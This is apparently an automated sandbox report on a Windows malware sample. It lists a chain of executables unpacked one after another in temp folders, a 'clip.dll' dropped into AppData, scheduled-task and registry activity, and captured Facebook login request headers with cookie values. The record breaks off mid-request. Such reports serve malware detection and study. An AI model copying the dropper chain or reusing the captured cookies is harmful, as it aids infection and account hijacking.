[%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_BBCE07F0D1D3591F7AACC4D200BCC3F0]- [targetUID: 00000000-00001440] "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB]- [targetUID: 00000000-00003756] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00002516] "1IBHBLPJ.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\1IBHBLPJ.txt]- [targetUID: 00000000-00003756] "XH30XWNK.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\XH30XWNK.txt]- [targetUID: 00000000-00003756] "css_1_.css" has type "ASCII text"- [targetUID: N/A] "RQM0A5LV.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\RQM0A5LV.txt]- [targetUID: 00000000-00002516] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003164] "css_2_.css" has type "ASCII text"- [targetUID: N/A] "NFP5N1NB.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\NFP5N1NB.txt]- [targetUID: 00000000-00003756] "AGUHRWDD.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\AGUHRWDD.txt]- [targetUID: 00000000-00003756] "DG1JBI2M.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\DG1JBI2M.txt]- [targetUID: 00000000-00003756] "8O3VPB8L.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\8O3VPB8L.txt]- [targetUID: 00000000-00003756] "5K3LVH2Y.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\5K3LVH2Y.txt]- [targetUID: 00000000-00003756] "QOCRJ8RM.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\QOCRJ8RM.txt]- [targetUID: 00000000-00003756] "0E2MC9EP.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\0E2MC9EP.txt]- [targetUID: 00000000-00002516] "6DB145CFEEC544B1582FED1ADA3370DD" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\6DB145CFEEC544B1582FED1ADA3370DD]- [targetUID: 00000000-00003164] "BEC6224B02D155A396218A2504F3EE0B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\BEC6224B02D155A396218A2504F3EE0B]- [targetUID: 00000000-00003756] "739F2FF4259CDC6CBE7B90F1A95601EF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00003756] "HDR7L3UX.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\HDR7L3UX.txt]- [targetUID: 00000000-00001440] "AVX9NGKH.htm" has type "gzip compressed data original size modulo 2^32 338"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\QQW0X29Y\AVX9NGKH.htm]- [targetUID: 00000000-00001440] "DO0RVQYH.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\DO0RVQYH.txt]- [targetUID: 00000000-00001440] "OBFB718J.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\OBFB718J.txt]- [targetUID: 00000000-00001440] "HUY50CLV.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\HUY50CLV.txt]- [targetUID: 00000000-00001440] "X80BIL7M.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\X80BIL7M.txt]- [targetUID: 00000000-00001440] "OTUN03NS.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\OTUN03NS.txt]- [targetUID: 00000000-00003756] "W3P893AU.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\W3P893AU.txt]- [targetUID: 00000000-00003756] "A3E6546D43CF3C4D85B14CC51DAFA332" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\A3E6546D43CF3C4D85B14CC51DAFA332]- [targetUID: 00000000-00001440] "LRR1NHWJ.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\LRR1NHWJ.txt]- [targetUID: 00000000-00002516] "KXNHM604.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\KXNHM604.txt]- [targetUID: 00000000-00003164] "YI297FCZ.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\YI297FCZ.txt]- [targetUID: 00000000-00001440] "GJC71J9U.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\GJC71J9U.txt]- [targetUID: 00000000-00001440] "G73B9895.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\G73B9895.txt]- [targetUID: 00000000-00001440] "6ERWIF5E.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\6ERWIF5E.txt]- [targetUID: 00000000-00003164] "468066EC.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\468066EC.txt]- [targetUID: 00000000-00001440] "FB3IHBGC.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\FB3IHBGC.txt]- [targetUID: 00000000-00003164] "O7nelmd9XSI_1_.png" has type "PNG image data 1 x 1 1-bit colormap non-interlaced"- [targetUID: N/A] "9MTKY9IT.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\9MTKY9IT.txt]- [targetUID: 00000000-00003164] "4OZ45ZWF.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\4OZ45ZWF.txt]- [targetUID: 00000000-00003756] "KCGRACRI.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\KCGRACRI.txt]- [targetUID: 00000000-00003756] "hsts-pixel_1_.gif" has type "GIF image data version 89a 1 x 1"- [targetUID: N/A] "bscframe_1_.htm" has type "HTML document ASCII text with no line terminators"- [targetUID: N/A] "6Hy9qE9.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\6Hy9qE9.exe]- [targetUID: 00000000-00003728] "clip.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%APPDATA%\006700e5a2ab05\clip.dll]- [targetUID: 00000000-00001756] "urlblockindex_1_.bin" has type "data"- [targetUID: N/A] "BEC6224B02D155A396218A2504F3EE0B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\BEC6224B02D155A396218A2504F3EE0B]- [targetUID: 00000000-00003756] "6DB145CFEEC544B1582FED1ADA3370DD" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\6DB145CFEEC544B1582FED1ADA3370DD]- [targetUID: 00000000-00003164] "FVCUZ8YT.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\FVCUZ8YT.txt]- [targetUID: 00000000-00003164]49:T71b,"file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "")4a:T681,"schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "")4b:T5b2,"file.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 2592) "file.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 2592) "aW5Tb54.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 176) "aW5Tb54.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 176) "op9Jo62.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 2548) "op9Jo62.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 2548) "zt7vg41.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 3412) "zt7vg41.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 3412) "ss3vj64.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 2168) "ss3vj64.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 2168) "Gj9uC90.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 3716) "Gj9uC90.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 3716) "dm8Sa10.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 984) "dm8Sa10.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 984)4c:Tafe,"file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "FILE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: "DISABLE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: "COMMERCIALDATAOPTIN"; Value: "")4d:T5b7,"file.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\aw5tb54.exe" "file.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\8am5oo69.exe" "aW5Tb54.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\op9jo62.exe" "aW5Tb54.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\7gy0fl42.exe" "op9Jo62.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\zt7vg41.exe" "op9Jo62.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\6hy9qe9.exe" "zt7vg41.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp003.tmp\ss3vj64.exe" "zt7vg41.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp003.tmp\5tc7lo6.exe" "ss3vj64.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp004.tmp\gj9uc90.exe" "ss3vj64.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp004.tmp\4em873jt.exe" "Gj9uC90.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp005.tmp\dm8sa10.exe" "Gj9uC90.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp005.tmp\3di89sk.exe" "dm8Sa10.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp006.tmp\1wl27vk7.exe" "dm8Sa10.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp006.tmp\2hc1372.exe" "1wL27Vk7.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "1wL27Vk7.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux"4e:T682,"file.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "file.exe" trying to touch file "C:\file.exe.Local\" "file.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d" "file.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\COMCTL32.dll" "file.exe" trying to touch file "C:\Cabinet.dll" "file.exe" trying to touch file "C:\Windows\system32\Cabinet.dll" "file.exe" trying to touch file "C:\VERSION.dll" "file.exe" trying to touch file "C:\Windows\system32\VERSION.dll" "file.exe" trying to touch file "C:\Windows\system32\apphelp.dll" "file.exe" trying to touch file "C:\Windows\AppPatch\sysmain.sdb" "file.exe" trying to touch file "C:\Windows\AppPatch\AcLayers.DLL" "file.exe" trying to touch file "C:\SspiCli.dll" "file.exe" trying to touch file "C:\Windows\system32\SspiCli.dll" "file.exe" trying to touch file "C:\WINSPOOL.DRV" "file.exe" trying to touch file "C:\Windows\system32\WINSPOOL.DRV" "file.exe" trying to touch file "C:\MPR.dll" "file.exe" trying to touch file "C:\Windows\system32\MPR.dll" "file.exe" trying to touch file "C:\Windows\AppPatch\AcGenral.DLL" "file.exe" trying to touch file "C:\UxTheme.dll" "file.exe" trying to touch file "C:\Windows\system32\UxTheme.dll" "file.exe" trying to touch file "C:\WINMM.dll" "file.exe" trying to touch file "C:\Windows\system32\WINMM.dll" "file.exe" trying to touch file "C:\samcli.dll" "file.exe" trying to touch file "C:\Windows\system32\samcli.dll" "file.exe" trying to touch file "C:\MSACM32.dll"4f:T644,"file.exe" trying to access non-existent file "C:\Cabinet.dll" "file.exe" trying to access non-existent file "C:\VERSION.dll" "file.exe" trying to access non-existent file "C:\SspiCli.dll" "file.exe" trying to access non-existent file "C:\MPR.dll" "file.exe" trying to access non-existent file "C:\UxTheme.dll" "file.exe" trying to access non-existent file "C:\WINMM.dll" "file.exe" trying to access non-existent file "C:\samcli.dll" "file.exe" trying to access non-existent file "C:\MSACM32.dll" "file.exe" trying to access non-existent file "C:\sfc.dll" "file.exe" trying to access non-existent file "C:\sfc_os.DLL" "file.exe" trying to access non-existent file "C:\dwmapi.dll" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\aW5Tb54.exe" "file.exe" trying to access non-existent file "C:\FLTLIB.DLL" "file.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "file.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\8Am5oO69.exe" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\SSPICLI.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\MPR.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\UXTHEME.DLL"50:T841,"file.exe" trying to access non-existent file "C:\file.exe.Local\" "file.exe" trying to access non-existent file "C:\WINSPOOL.DRV" "file.exe" trying to access non-existent file "C:\file.exe.Config" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\FILE.EXE.LOCAL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\WINSPOOL.DRV" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\FILE.EXE.CONFIG" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "aW5Tb54.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\aW5Tb54.exe.Local\" "aW5Tb54.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "aW5Tb54.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\aW5Tb54.exe.Config" "aW5Tb54.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "aW5Tb54.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\AW5TB54.EXE.LOCAL" "aW5Tb54.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "aW5Tb54.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\AW5TB54.EXE.CONFIG" "aW5Tb54.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "op9Jo62.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\op9Jo62.exe.Local\" "op9Jo62.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\WINSPOOL.DRV" "op9Jo62.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\op9Jo62.exe.Config" "op9Jo62.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP"51:T27e5,Found requests in header "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "POST /login/device-based/regular/login/?login_attempt=1&lwv=100 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: www.facebook.comContent-Length: 391DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: fr=0phoI55IRR3T6z1Ek..BlMlaL.EW.AAA.0.0.BlMlaL.AWUCwy0cV6k; sb=i1YyZei-mbh0_vkuP5fDs_KU; _js_datr=i1YyZb3hEbJ6k5QPmB0etjWHjazoest=2962&lsd=AVrCm8DhcqQ&display=&isprivate=&return_session=&skip_api_login=&signed_next=&trynum=1&timezone=&lgndim=eyJ3IjoxMjgwLCJoIjo4MDAsImF3IjoxMjgwLCJhaCI6NzYwLCJjIjoyNH0%3D&lgnrnd=032931_Qq4C&lgnjs=n&email=&pass=&login=1&prefill_contact_point=&prefill_source=&prefill_type=&first_prefill_source=&first_prefill_type=&had_cp_prefilled=false&had_password_prefilled=false&ab_test_data="; in File: "SSL") Found requests in header "POST /login/device-based/regular/login/?login_attempt=1&lwv=120&lwc=1348028 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=100Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: www.facebook.comContent-Length: 391DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: fr=0phoI55IRR3T6z1Ek..BlMlaL.EW.AAA.0.0.BlMlas.AWU5F6-zKCU; sb=i1YyZei-mbh0_vkuP5fDs_KU; datr=i1YyZb3hEbJ6k5QPmB0etjWH"; in File: "SSL") Found requests in header "POST /login/device-based/regular/login/?login_attempt=1&lwv=120&lwc=1348028 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=120&lwc=1348028Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: www.facebook.comContent-Length: 391DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: fr=0phoI55IRR3T6z1Ek..BlMlaL.EW.AAA.0.0.BlMlbK.AWUgWPYyGUY; sb=i1YyZei-mbh0_vkuP5fDs_KU; datr=i1YyZb3hEbJ6k5QPmB0etjWH"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/y9/l/0,cross/2W2z89vRC58.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yX/l/0,cross/OOjRP9ZKS4_.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yi/l/0,cross/yotEdcUw9Gj.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yz/l/0,cross/zRK3Ix_kur3.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yc/l/0,cross/1FPNULrhhBJ.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: 